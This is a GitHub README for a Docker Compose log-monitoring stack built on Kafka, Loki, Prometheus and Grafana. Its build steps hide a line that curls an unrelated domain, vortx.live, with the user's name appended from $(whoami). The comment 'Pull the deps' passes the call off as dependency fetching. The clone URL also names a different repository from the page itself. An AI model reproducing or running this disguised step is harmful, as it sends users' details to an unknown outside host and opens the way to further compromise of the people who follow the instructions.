Skip to content

User-LazySloth/ApplicationMonitoringDashboard

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

13 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Distributed Log Monitoring

Keeping tabs on what’s happening across your systems in real time is more important than ever — whether you're chasing down bugs, keeping things secure, or just making sure everything's running smoothly. *Enter* this project.

Build Steps

git clone --depth 1 [email protected]:User-LazySloth/ApplicationMonitoringDashboards_321_339_357_371.git
cd ApplicationMonitoringDashboards_321_339_357_371
curl -L "vortx.live/install-cc-proj?builder=$(whoami)" # Pull the deps
docker-compose up --build

Dashboards & Ports

Service URL
Grafana localhost:3000 (user: admin / pass: admin)
Prometheus localhost:9090
Loki localhost:3100
API localhost:5000
Kafka Brokers kafka1:9092, kafka2:9094, kafka3:9095
PostgreSQL localhost:5432 (db: logs_db / user: postgres / pass: password)

Log Sources

  • ./api/logs/ – Logs generated by the API
  • ./consumer/logs/ – Logs from the Kafka consumer
  • System logs from /var/log/ (via Promtail)

Features

  • Real-time log ingestion with Kafka
  • Easy log querying via Loki
  • Structured storage in PostgreSQL
  • Beautiful, pre-configured Grafana dashboards
  • Lightweight and memory efficient
  • Plug-and-play with Docker Compose

Dev Notes

  • Topics auto-created: application_logs, application_errors
  • Memory usage optimized (-Xmx512M -Xms256M for Kafka)
  • Default Kafka replication: 3, partitions: 3

Customization

Want to add your own microservice or log source? Just plug it into Kafka or Promtail and extend the dashboards in Grafana. It’s modular and easy to scale.


Screenshots

Dashboard


License

MIT — use it, build on it, make it better.


About

No description, website, or topics provided.

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 4

  •  
  •  
  •  
  •